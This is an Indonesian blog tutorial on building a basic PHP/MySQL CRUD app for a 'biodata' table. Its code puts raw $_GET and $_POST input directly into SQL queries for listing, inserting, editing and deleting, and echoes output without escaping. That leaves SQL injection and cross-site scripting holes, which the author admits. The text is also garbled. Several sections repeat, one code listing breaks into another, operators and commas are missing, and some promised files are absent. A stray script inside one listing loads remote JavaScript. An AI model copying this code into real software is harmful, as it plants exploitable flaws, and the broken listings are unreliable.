Category

Recent

videos

Selasa, 31 Januari 2017

Cara Membuat Crud DenganPHP Dan MYSQL








Membuat Aplikasi CRUD Sederhana dengan PHP dan MySQL
Membuat Aplikasi CRUD Sederhana dengan PHP dan MySQL. Seperti judulnya yaitu Membuat Aplikasi CRUD (Create, Read, Update, Delete) Sederhana dengan PHP dan MySQL. Jadi nanti kita akan membuat Aplikasi sederhanya bagaimana cara Create/insert data ke database, Read/Select/Menampilkan data dari database, Update/edit data dari database, dan Delete/hapus data dari database dengan menggunakan bahasa pemrograman PHP dan database MySQL. Tutorial ini saya buat sangat mudah agar Anda yang pemula bisa mempelajarinya dengan mudah. Karena ini hanya basicnya saja, jadi tidak ada yang namanya kemanan dalam query ke database, saya bua sangat sederhana agar mudah dipelajari dengan mudah. Oke, sebelumnya file-file yang akan kita buat adalah seperti tambah pada gambar di bawah ini: 






Nah, sudah tau kan file apa saja yang nantinya kita buat. Langsung saja za kita mulai tutorial yang panjang ini :) 
Step #1 Database 
Tahap pertama adalah membuat database dahulu di phpMyAdmin, saya umpamakan Anda sudah membuat sebuah database dengan nama tutorialweb. Jika database sudah dibuat, sekarang Dumping script SQL di bawah ini: 

1CREATE TABLE IF NOT EXISTS `biodata` (
2  `id` int(11) NOT NULL AUTO_INCREMENT,
3  `nama` varchar(50) NOT NULL,
4  `alamat` varchar(100) NOT NULL,
5  `tempat_lahir` varchar(50) NOT NULL,
6  `tgl_lahir` date NOT NULL,
7  `jk` enum('Pria','Wanita'NOT NULL,
8  PRIMARY KEY (`id`)
9) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=24 ;

Dari script SQL di atas Anda akan mendapatkan sebuah table dengan nama biodata dengan field id, nama, alamat, tempat_lahir, tgl_lahir, jk. Database dan Table sudah ada, biarkan saja datanya kosong. Jika Teman-teman Ingin Mengisi field tabel, boleh-boleh saja , saya akan memberikan contoh untuk mengisi isi tabel jika teman-teman sudah membuat database dan field.

01--
02-- Dumping data untuk tabel `biodata`
03--
04
05INSERT INTO `biodata` (`id`, `nama`, `alamat`, `tempat_lahir`, `tgl_lahir`, `jk`) VALUES
06(20, 'Iwan''Jl.sei brutu''medan''1992-04-12''Pria'),
07(18, 'Dadang''Jalan Sei Mencirim No 20 ''Aceh Merdeka''0000-00-00''Pria'),
08(19, 'Jerry Cho ''Jalan Gajahmada 21.''Medan''1985-04-03''Pria'),
09(17, 'gustaman''jl.kampus''medan''1983-04-05''Pria'),
10(16, 'diding''jl.Angsana Raya No 20 ''medan''0000-00-00''Pria'),
11(15, 'Dadang Kusuma''Jakarta Selatan No.17 ''Bandung''0000-00-00''Pria'),
12(21, 'Ardika Nataledi Ginting''Jl.Sei Mencirim Komplek Suka Maju Indah No ''Medan Sunggal''1986-12-26''Pria'),
13(22, 'Ridawan''Jl.Gajah Mada Gg payah no 12''Jakarta''1978-05-08''Pria'),
14(23, 'Syahramadan''Jalan Gajahmada No.90 Samping Kampus LP3I Medan''Jurang Tebing ''1997-10-18''Pria');

cara Pengisian Data Table di Atas Adalah Contoh , untuk mengisi data Tabel, Teman-teman Dapat Mengisinya Dengan Apa Saja Nama Filed Yang Ada Di dalam database Teman-teman. 

Step #2 Koneksi ke Database 

Tahap selanjutnya adalah melakukan koneksi ke database, file untuk koneksi ke database adalah koneksi.php. Silahkan buat file baru dan beri nama koneksi.php kemudian isi dari file ini seperti di bawah ini:

01<?php
02//proses koneksi database
03$host_name "localhost";
04$nama "root";
05$password "";
06$database "biodata";
07
08$connect_db = mysql_connect($host_name,$nama,$passwordor die("Tidak Ada Connection");
09mysql_select_db($database,$connect_dbor die ("Database Anda Tidak Ditemukan");
10  
11?>


Silahkan simpan dan jangan lupa merubah detail koneksinya, misalkan passwordnya beda ya silahkan diganti dengan password Anda,jika tidak memiliki password , ya kosongkan saja 

Step #3 Menampilkan Data (READ/SELECT)

Tahap ketiga adalah menampilkan data dari database atau jika dalam singkatan CRUD maka kali ini adalah R -> Read. Untuk menampilkan data, kita akan membuat file dengan nama index.php. Dan isi dari file index.php adalah script di bawah ini:
01
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
02

03
<head>
04
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

05
<title>Biodata</title>
06


07

08
<style type="text/css">

09
body {
10
 background-image: url(gambar/Android%20App%20Developer.PNG);

11
 border: solid 20px;
12
 margin: 0px;

13
  
14
 background-color: #000000;


15
}
16
</style>

17
<center>
18
</head>

19

20
<body>

21
<h1>
22
Biodata Diri</h1>

23
<p>
24
<a href="tambah.php">Tambah</a></p>

25
<table border="1" style="background:cadetblue;">
26
<tr>

27
    <th>No</th>
28
    <th>Nama</th>

29
    <th>Alamat</th>
30
    <th>Tempat Lahir</th>

31
    <th>Tanggal Lahir</th>
32
    <th>Jenis Kelamin</th>

33
    <th>Aksi</th>
34
  </tr>

35
<?php
36
 include "koneksi.php";

37
 //2). Menentukan total data yang akan
38
 //=== ditampilkan pada tiap halaman dan menentukan posisi halaman

39
  
40
 //variabel dan kode awal untuk menentukan posisi halaman saat ini

41
 //dipakai untuk melimit quiery
42
 error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

43
   $batas=10; //satu halaman menampilkan 10 baris
44
 $halaman=$_GET['halaman'];

45
 $posisi=null;
46
 if(empty($halaman)){

47
   $posisi=0;
48
   $halaman=1;

49
 }else{
50
   $posisi=($halaman-1)* $batas;

51
 }
52
 //$tampil = "select * from biodata";

53
 $hasil = mysql_query("select * from biodata order by id asc limit $posisi,$batas ");
54
 $jumlah = mysql_num_rows($hasil);

55
 //$data = mysql_fetch_array($hasil)
56
 $no = 1;

57
 while ($data = mysql_fetch_array($hasil))
58
{



59
  ?>
60
<tr>

61
    <td><?php echo $no ?></td>
62
    <td><?php echo "$data[nama]" ?></td>

63
    <td><?php echo "$data[alamat]" ?></td>
64
    <td><?php echo "$data[tempat_lahir]" ?></td>

65
    <td><?php echo "$data[tgl_lahir]" ?></td>
66
    <td><?php echo "$data[jk]" ?></td>

67
    <td><a href="edit.php?id=<?php echo "$data[id]" ?>">Edit</a> || <a href="hapus.php?id=<?php echo "$data[id]" ?>">Hapus</a></td>
68
  </tr>

69
<?php
70
  $no++;

71
  }
72
  ?>

73
</table>
74


75

76
<?php   

77
      
78
// 4). code untuk Menampilkan nomor paging di bagian bawah tabel.

79
$sql_paging = mysql_query("select id from biodata");
80
$jmldata = mysql_num_rows($sql_paging);

81
$jumlah_halaman = ceil($jmldata / $batas);
82
  

83
echo "Halaman :";
84
for($i = 1; $i <= $jumlah_halaman; $i++)

85
 if($i != $halaman) {
86
    echo "<a href=index.php?halaman=$i>$i</a>|";

87
 } else {
88
    echo "<b>$i</b>|";

89
 }
90
mysql_close();?>

91

92


93
Jumlah data :<?php echo $jmldata;?>
94





95
<p>
96
 </p>
Jangan lupa disimpan za.. :) Untuk penjelasan Script sudah saya masukkan pada Script di atas, silahkan di baca sendiri kegunaan tiap-tiap baris kode. Tampilan dari file index.php bisa terlihat seperti gambar di bawah ini:


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnWkAh9IdADf1q_32Eccp6hhxTBqugyiHhBIxT6GslxaQPJkug8gheEnoYjXfumGzETAtp_DOFawnnOjxJcduD2JOGv-LpJNXw-cFvw6ZQWubmVMfIv3e3g7htX9HrvwBiJ6SkNfjKqI8/s320/bandicam+2017-01-26+10-20-38-112.jpg

Gambar Di atas Adalah Hasil Dari Index.php, isi dari filed yang ada di index.php tersebut di ambil dari isi table yang ada di dalam databse biodata

Step #4 Memasukkan Data (Create/Insert)

Tahap ke empat adalah meng-insertkan data ke database dengan perintan INSERT INTO. Pertama tertu saja kita buat Form utuk memasukkan datanya. Form ini akan kita simpan dalam file tambah.php dengan script seperti di bawah ini:

1
<?php
2
include "koneksi.php";

3
$tgl=$_POST['thn'] . "-" . $_POST['bln'] . "-" . $_POST['tanggal'];
4
mysql_query("insert into biodata(nama,alamat,tempat_lahir,tgl_lahir,jk)

5
   values ('$_POST[nama]','$_POST[alamat]','$_POST[tempat]','$tgl','$_POST[jk]')");
6
    

7
header('location:index.php');
8
?>


Dari Form tidak ada yang spesial, hanya form tersebut action nya tambah-proses.php. Tampilannya seperti gambar di bawah ini:


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj30-hp2p8FTT4bAKPf-xU309UaAxMEvF18wNtWKBCryAyjgMeg3HeyWD7diRQkdtSfjIaZnd8DShSRG4tAfYlWb-3Qs5oRrBoZuI66ZGyv24cyCkerC4yyRtoFjTEeN6-eJKmA6KY5ZZ8/s320/bandicam+2017-01-26+10-30-29-541.jpg

Nah ketika form tersebut di isi, dan tombol Tambah di klik, maka akan menjalankan file tambah-proses.php. Jadi selanjutnya buat file baru dengan nama create.php dan isinya adalah script di bawah ini:

Beres deh untuk tambah data atau Insert data ke database. Penjelasan kode juga sudah saya masukkan pada file tersebut, silahkan baca sendiri :p

Step #5 Update Data (Update/Edit)

Tahap ini adalah untuk melakukan edit data pada database. File yang akan kita buat adalah file edit.php. Link untuk menuju halaman edit adalah pada file index.php dimana disana pada tabel kolom Opsi ada Link edit dan hapus. Dimana untuk Link edit yang di klik Anda akan mendapatkan Link seperti Edit dimana id ini adalah nilai dari id. Jika id tersebut adalah 12, maka akan menampilkan data siswa dimana id=12. Oke, silahkan buat file edit.php dan paste script di bawah ini:



001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
002

003
<head>
004
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

005
<title>Proses Editan by http://ardika-26.blogspot.com/</title>
006
<style type="text/css">

007
body {
008
 border: solid 20px;

009
 margin: 0;
010
 background-color: #B6F4F3;

011
}
012
body,td,th {

013
 color: #ff7800;
014
}

015
</style>
016
</head>

017
<center>
018
<body>

019
<?php
020
error_reporting(E_ALL ^ E_NOTICE);

021
include "koneksi.php";
022
$id = $_GET[id];

023
$hasil = mysql_query("select * from biodata where id='$id'");
024
$data = mysql_fetch_array($hasil);

025
$pecahTanggal = explode("-", $data['tgl_lahir']);
026
$tanggal = $pecahTanggal[2];

027
$bulan = $pecahTanggal[1];
028
$tahun = $pecahTanggal[0];

029
$jk=$data['jk'];
030
?>

031
<h3>
032
Tempat Pengeditan Biodata</h3>

033
<form id="form1" name="form1" method="post"action="proses_edit.php">
034
<input name="id" type="hidden" value="<?php echo "$data[id]" ?>" />

035
  <table border="0">
036
<tr>

037
      <td>Nama</td>
038
      <td>:</td>

039
      <td><input name="nama" type="text" id="nama" value="<?php echo "$data[nama]" ?>" size="40" maxlength="50" /></td>
040
    </tr>

041
<tr>
042
      <td>Alamat</td>

043
      <td>:</td>
044
      <td><textarea name="alamat" id="alamat" cols="45"rows="3"><?php echo "$data[alamat]" ?></textarea></td>

045
    </tr>
046
<tr>

047
      <td>Tempat Lahir</td>
048
      <td>:</td>

049
      <td><input name="tempat" type="text" id="tempat" value="<?php echo "$data[tempat_lahir]" ?>" size="40" maxlength="50"/></td>
050
    </tr>

051
<tr>
052
      <td>Tanggal Lahir</td>

053
      <td>:</td>
054
      <td>Tanggal
55
 //$data = mysql_fetch_array($hasil)
56
 $no = 1;

57
 while ($data = mysql_fetch_array($hasil))
58
 {

59
  ?>
60
<tr>

61
    <td><?php echo $no ?></td>
62
    <td><?php echo "$data[nama]" ?></td>

63
    <td><?php echo "$data[alamat]" ?></td>
64
    <td><?php echo "$data[tempat_lahir]" ?></td>

65
    <td><?php echo "$data[tgl_lahir]" ?></td>
66
    <td><?php echo "$data[jk]" ?></td>

67
    <td><a href="edit.php?id=<?php echo "$data[id]" ?>">Edit</a> || <a href="hapus.php?id=<?php echo "$data[id]" ?>">Hapus</a></td>
68
  </tr>

69
<?php
70
  $no++;

71
  }
72
  ?>

73
</table>
74


75

76
<?php   

77
      
78
// 4). code untuk Menampilkan nomor paging di bagian bawah tabel.




79
$sql_paging = mysql_query("select id from biodata");
80
$jmldata = mysql_num_rows($sql_paging);
81
$jumlah_halaman = ceil($jmldata / $batas);
82
  

83
echo "Halaman :";
84
for($i = 1; $i <= $jumlah_halaman; $i++)

85
 if($i != $halaman) {
86
    echo "<a href=index.php?halaman=$i>$i</a>|";

87
 } else {
88
    echo "<b>$i</b>|";

89
 }
90
mysql_close();?>

91

92


93
Jumlah data :<?php echo $jmldata;?>
94


95
<p>
96
 </p>


97
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs1.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582CL4NjpNgssKE4OM39P4UdM33Csa%2b3WltG0Ei2UwUJiCJt3YbGeXRDw3SD79YH1K%2faPtbOvoRB%2bwAsXQe750RLQhgzBc7%2f8b%2fA%2byHEsEIMdPbR8rgSJXoy%2bWPPfXCmMioCE7lVu%2bJ9l1%2fAtHRFHWMxKziWaTUdr4z50DETX1q87iToR6FvtMva6LehtSx3%2fUA9%2bcxuqONMlwy2cwfuoSoNrS4%2f4ISGgtodS9FXEsvejYWAO%2f6VyUiOkkjuY5lQ2dWJh2GFnXOFSo2iI7pG91hT4Q8JBdZOUsQGRhTLImjT7d00kYai99E10v8es%2f%2f6KU9tviFZF503PKvCQDdBTyMTdrqFpS2dH9xBmed2NNH7qVCNuRFWIv1ev%2buH28a6q07nKX9HdAvOfFIM4fLhHnV%2fJKeOfXlGnzFYjc5Fmkob9M2h1ixWMV%2f5bg1MZhPXHVT0E2PjbhRmIdMXox0Yzf5BglqWzlbXGDZzYiAcp7uEDbvBL3D7KVloGLu06qYKc7KD%2bJzK8F5Y9NUaxDhDrp0k0kkfNyS9silQ45B7y%2bw%2b3dqbEr6J%2fgk5q1%2fICNE6N5JMqmennANNXVPZk%2beqbFkkg1%2fpZHBsSVBXnfV%2bcONUWcj7aL%2beWWKcGzXj4GS%2bSRqsMLu4mL9nuZ6AexS7tJwfI%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};


Jangan lupa disimpan za.. :) Untuk penjelasan Script sudah saya masukkan pada Script di atas, silahkan di baca sendiri kegunaan tiap-tiap baris kode. Tampilan dari file index.php bisa terlihat seperti gambar di bawah ini:


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnWkAh9IdADf1q_32Eccp6hhxTBqugyiHhBIxT6GslxaQPJkug8gheEnoYjXfumGzETAtp_DOFawnnOjxJcduD2JOGv-LpJNXw-cFvw6ZQWubmVMfIv3e3g7htX9HrvwBiJ6SkNfjKqI8/s320/bandicam+2017-01-26+10-20-38-112.jpg

Gambar Di atas Adalah Hasil Dari Index.php, isi dari filed yang ada di index.php tersebut di ambil dari isi table yang ada di dalam databse biodata

Step #4 Memasukkan Data (Create/Insert)

Tahap ke empat adalah meng-insertkan data ke database dengan perintan INSERT INTO. Pertama tertu saja kita buat Form utuk memasukkan datanya. Form ini akan kita simpan 
dalam file tambah.php dengan script seperti di bawah ini:

1
<?php
2
include "koneksi.php";

3
$tgl=$_POST['thn'] . "-" . $_POST['bln'] . "-" . $_POST['tanggal'];
4
mysql_query("insert into biodata(nama,alamat,tempat_lahir,tgl_lahir,jk)

5
   values ('$_POST[nama]','$_POST[alamat]','$_POST[tempat]','$tgl','$_POST[jk]')");
6
    

7
header('location:index.php');
8
?>


Dari Form tidak ada yang spesial, hanya form tersebut action nya tambah-proses.php. Tampilannya seperti gambar di bawah ini:


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj30-hp2p8FTT4bAKPf-xU309UaAxMEvF18wNtWKBCryAyjgMeg3HeyWD7diRQkdtSfjIaZnd8DShSRG4tAfYlWb-3Qs5oRrBoZuI66ZGyv24cyCkerC4yyRtoFjTEeN6-eJKmA6KY5ZZ8/s320/bandicam+2017-01-26+10-30-29-541.jpg

Nah ketika form tersebut di isi, dan tombol Tambah di klik, maka akan menjalankan file tambah-proses.php. Jadi selanjutnya buat file baru dengan nama create.php dan isinya adalah script di bawah ini:

Beres deh untuk tambah data atau Insert data ke database. Penjelasan kode juga sudah saya masukkan pada file tersebut, silahkan baca sendiri :p

Step #5 Update Data (Update/Edit)

Tahap ini adalah untuk melakukan edit data pada database. File yang akan kita buat adalah file edit.php. Link untuk menuju halaman edit adalah pada file index.php dimana disana pada tabel kolom Opsi ada Link edit dan hapus. Dimana untuk Link edit yang di klik Anda akan mendapatkan Link seperti 
Edit dimana id ini adalah nilai dari id. Jika id tersebut adalah 12, maka akan menampilkan data siswa dimana id=12. Oke, silahkan buat file edit.php dan paste script di bawah ini:



001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
002

003
<head>
004
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

005
<title>Proses Editan by http://ardika-26.blogspot.com/</title>
006
<style type="text/css">

007
body {
008
 border: solid 20px;

009
 margin: 0;
010
 background-color: #B6F4F3;

011
}
012
body,td,th {

013
 color: #ff7800;
014
}

015
</style>
016
</head>

017
<center>
018
<body>

019
<?php
020
error_reporting(E_ALL ^ E_NOTICE);

021
include "koneksi.php";
022
$id = $_GET[id];

023
$hasil = mysql_query("select * from biodata where id='$id'");
024
$data = mysql_fetch_array($hasil);

025
$pecahTanggal = explode("-", $data['tgl_lahir']);
026
$tanggal = $pecahTanggal[2];

027
$bulan = $pecahTanggal[1];
028
$tahun = $pecahTanggal[0];

029
$jk=$data['jk'];
030
?>

031
<h3>
032
Tempat Pengeditan Biodata</h3>

033
<form id="form1" name="form1" method="post"action="proses_edit.php">
034
<input name="id" type="hidden" value="<?php echo "$data[id]" ?>" />

035
  <table border="0">
036
<tr>

037
      <td>Nama</td>
038
      <td>:</td>

039
      <td><input name="nama" type="text" id="nama" value="<?php echo "$data[nama]" ?>" size="40" maxlength="50" /></td>
040
    </tr>

041
<tr>
042
      <td>Alamat</td>

043
      <td>:</td>
044
      <td><textarea name="alamat" id="alamat" cols="45"rows="3"><?php echo "$data[alamat]" ?></textarea></td>

045
    </tr>
046
<tr>

047
      <td>Tempat Lahir</td>
048
      <td>:</td>

049
      <td><input name="tempat" type="text" id="tempat" value="<?php echo "$data[tempat_lahir]" ?>" size="40" maxlength="50"/></td>
050
    </tr>

051
<tr>
052
      <td>Tanggal Lahir</td>

053
      <td>:</td>
054
      <td>Tanggal

055
        <select name="tanggal">
056
          <option value="-">-</option>

057
                  <?php
058
                for ($t=1;$t<31;$t++)

059
                {  if ($t == $tanggal) echo "<option value=$t selected>$t</option>";
060
           else echo "<option value=$t>$t</option>"; }

061
                ?>
062
        </select>

063
        Bulan     
064
        <select name="bln">

065
          <option value="-">-</option>
066
          <?php

067
                $bln=array("Januari","Februari","Maret","April",
068
                "Mei","Juni","Juli","Agustus","September",

069
                "Oktober","November","Desember");
070
                for ($b=0;$b<12;$b++)

071
                {
072
                $i=$b+1;

073
      if ($i == $bulan) echo "<option value=$i selected>$bln[$b]</option>";
074
            else echo "<option value=$i>$bln[$b]</option>";                

075
                }
076
                ?>

077
        </select>
078
              Tahun

079
              <select name="thn">
080
                <option value="-">-</option>

081
                <?php
082
                for ($t=1970;$t<2020;$t++)

083
                {
084
     if ($t == $tahun) echo "<option value=$t selected>$t</option>";

085
           else echo "<option value=$t>$t</option>";
086
    }  

087
                ?>
088
      </select>      </td>

089
    </tr>
090
<tr>

091
      <td>Jenis Kelamin</td>
092
      <td>:</td>

093
      <td><input type="radio" name="jk"  value="Pria" <?php if($jk=='Pria'){echo 'checked';} ?>/>Pria
094


095
        <input type="radio" name="jk"  value="Wanita" <?php if($jk=='Wanita'){echo 'checked';} ?>/>Wanita      </td>
096
    </tr>

097
<tr>
098
      <td> </td>

099
      <td> </td>
100
      <td> </td>

101
    </tr>
102
<tr>

103
      <td> </td>
104
      <td> </td>

105
      <td><input type="submit" name="button" id="button"value="Simpan" />
106
        <input type="button" name="button3" value="Batal"onclick="history.back(-1)" /></td>


107
    </tr>
108
</table>

109
</form>
110
<p>

111
 </p>
112
</body>

113
</center>
114
</html>
Jika sudah silahkan simpan, dan hasil tampilan dari script di atas seperti gambar di bawah ini: 


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXQvG0IokssRFyX6VrLsCnAG2V5l_D616ibki7COntWD72theLqvo2jgOtBS_xpTzLevW3NHqeoecaiF3RkUIrb6BtuwccGRPiUqnXeFOnfJhW5Zhd08YTS20q5Reenv7G2YDSFfL2dAQ/s320/bandicam+2017-01-26+10-49-50-564.jpg

Nah, form edit diatas jika di klik tombol Simpan, maka akan menjalankan file edit-proses.php, dimana file ini adalah proses untuk melakukan update data ke database. Buat file proses_edit.php dan paste script di bawah ini:

Silahkan simpan. Dan seperti biasa penjelasan tiap baris kode sudah saya masukkan di dalamnya, silahkan baca.

Step #6 Hapus data (Delete/Hapus)
Tahap ke enam ini adalah yang terakhir, yaitu melakukan perintah Delete untuk menghapus data dari database. file yang akan kita buat adalah hapus.php, dan isi scriptnya seperti di bawah ini:


1
<?php
2
include "koneksi.php";

3
//$tgl=$_POST['thn'] . "-" . $_POST['bln'] . "-" . $_POST['tanggal'];
4
mysql_query("delete from biodata where id = '$_GET[id]'");

5
    
6
header('location:index.php');

7
?>


Jangan lupa disimpan. Sedikit penjelasan untuk script hapus di atas. Jika Anda mengklik tombol/link hapus pada file index.php, maka secara otomatis file tersebut akan terhapus dari field di index.php. dan akan terhapus juga di dalam databse anda . Untuk penjelasan lebih detail sudah ada pada script di atas. :) yaaaahh..... capek juga ya bikin tutorial yang agak panjang ini..


BlackHammer

Tidak ada komentar:
Write komentar